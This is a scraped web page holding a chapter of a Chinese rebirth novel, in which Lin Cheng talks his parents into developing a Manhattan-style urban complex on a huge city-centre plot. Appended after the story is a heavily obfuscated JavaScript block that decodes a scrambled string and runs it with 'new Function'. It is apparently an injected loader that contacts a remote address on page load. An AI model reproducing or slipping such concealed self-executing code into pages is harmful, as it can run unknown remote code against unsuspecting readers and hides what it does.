(手机请访问 m.duxs8.com); 林福荣询问道：“诚仔，滨河花园那一万亩地你打算怎么开发？虽然霍家说会把这个地产项目转让给我们，可也要我们林氏集团拿出三十亿真金白银去买的呢，我们真要拿出这么多钱来吗？”
林诚摇摇头道：“老爸你也是做惯地产生意的人了，现在谁还拿出真金白银来买地的？大家还不都是从银行贷款出来的嘛。”
“如今我们林氏集团产业那么大那么多，拿出一半产业出来抵押，应该也能贷个十亿八亿了吧，再说清江高速路的别墅区项目明年就完成了，我们干脆就拿建好的别墅来办贷款，我敢保证咱们自己一分钱不出，也能把滨河花园的项目给办了。”
林福荣拍拍脑子，懊恼的道：“我老了老了，脑子就是不如你们年轻人转的快。不过滨河花园你打算怎么弄，是开发商业大楼还是做住宅楼。”
林诚想了想，道：“老爸，住宅楼就算了，滨河花园可是在市中心呢，做住宅楼利润不够大，我们要做就做城市综合体，让滨河花园成为花城的商业中心。”
林福荣迟疑道：“城市综合体？做这个的话那投资也太大了吧，而且建成日期晚，回钱太慢了，感觉很不划算。”
虽然林诚已经好几次向林福荣灌输城市综合体的概念了，可生性保守的林福荣对城市综合体还是接受不能，认为建设这么大的商业项目工程太慢，回本太慢，还不如建住宅、别墅来钱快呢。
城市综合体林诚是必须要在万达之前搞起来的，后世王万达荣登中国首富宝座，万达地产长期把持国内第一地产企业的头把交椅，矗立在全国各大中城市里的一百多座万达广场可谓居功至伟。
霍家转让给林诚的滨河花园那块地有一万亩那么大，折合成平方米多达666.7万平方米，即使把它建成十座城市综合体都绰绰有余了。
林家能用三十亿把这块地接下来，可谓是占了巨大的便宜，如果是在十年之后，这么一块超大型地皮，就算是花上三百亿也拿不下来。
这么一块超大型地皮，如果不是霍英冬的关系无论如何也轮不到林诚的，只要消化掉这块地皮，那么大福地产就可以一跃成为与万科、碧桂园齐名的地产大鳄了。
想到这里，林诚想要尽快建造城市综合体的心思就更盛了，他耐心的劝说道：“老爸，我之所以想要推行城市综合体，就是想在花城的市中心打造一个城中之城，让大福广场成为花城未来的地标性建筑。”
“如果我们打造出来的大福广场成为花城的地标，那么谁还会怀疑我们大福地产的实力，以后我们再跟政府拿地肯定是特别容易的。”
“而且城市综合体虽然建成比较慢，可来钱绝对不会慢的呀，我们可以像住宅楼那样搞预售嘛，只要我们把成大福广场的效果图做出来，肯定会有很多大型酒店、超市入驻的。
“另外，我们国家经济建设发展那么快，每年新开的公司至少在一万家以上，未来肯定会有许多公司购买或租赁我们建造的写字楼的，这些都是一本万利、包赚不赔的大生意啊！”
“再说老爸，我们人生在世，怎么也得有点追求吧，如果我们给后世留下这么一个城中之城，让其成为花城的地标建筑，即使我们不在人世了，后世的子孙后代也会为我们的丰功伟绩而感到骄傲的。”
朱雪琴也劝道：“老头子，你就听诚仔的吧，诚仔向来一概正确，他给我们林家指出的道路肯定是一条康庄大道，我们只要沿着康庄大道一直走就行了。”
其实林福荣听完林诚的解说后，他就已经动心了，尤其是最后那条留给子孙后代的理由确实打动了他。
林福荣点了点头道：“既然如此，那就做城市综合体，不过这个城市综合体我们都没有见过，这到底是个什么样的章程？”
林诚不答反问道：“老爸老妈你们应该听说过曼哈顿吧？”
原本林诚以为以曼哈顿如雷贯耳的巨大名气，老爸老妈即使不知道曼哈顿是怎样的光景，应该也听说过曼哈顿的巨大名声的，只可惜林诚这番媚眼抛给了瞎子看。
林福荣夫妇如果不是林诚爆种重生，一辈子都可能走不出粤东省，他们哪里知道曼哈顿是个什么东西呀。
所以林诚预想中的林福荣夫妇点头说听过曼哈顿的场景没有出现，反而看到老爸老妈一脸懵逼的问道：“曼……曼啥顿来着？”
林诚无语掩面，只得详细介绍道：“曼哈顿是美帝的经济中心，是美帝纽约市中央商务区所在地，是世界上摩天大楼最集中的地区，那里汇集了世界500强中绝大部分公司的总部，也是联合国总部的所在地。曼哈顿的华尔街是世界上最重要的金融中心，有纽约证券交易所和纳斯达克交易所，曼哈顿的房地产市场也是全世界最昂贵的。”
“曼哈顿如此牛逼，你们一定认为曼哈顿非常大吧。错了，其实曼哈顿面积仅为59.5平方千米，也就比我们滨河花园的那块地大九倍左右，可这么小的地方就拥有150多万人口，算下来平均每平方千米有26，668的人口，也使曼哈顿成为世界上人口最稠密的地方之一。”
“在曼哈顿下城有一条长仅1.54公里，面积不足1平方公里的华尔街金融区，就集中了几十家大银行、保险公司、交易所以及上百家大公司总部和几十万就业人口，是世界的金融中心。成为世界上就业密度最高的地区。”
“而曼哈顿就是我所说的城市综合体，也就是城中之城，如果我们把滨河花园那块地建成曼哈顿这样的城中之城，老爸老妈你们说，这是多么巨大的成就啊！”
林福荣听完林诚的介绍震惊了，曼哈顿原来只有59.5平方千米，感觉还没有清江下辖的一个乡镇大呢，可曼哈顿却成为了世界上闻名遐迩的大都会，不能不说这是一个巨大的奇迹。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();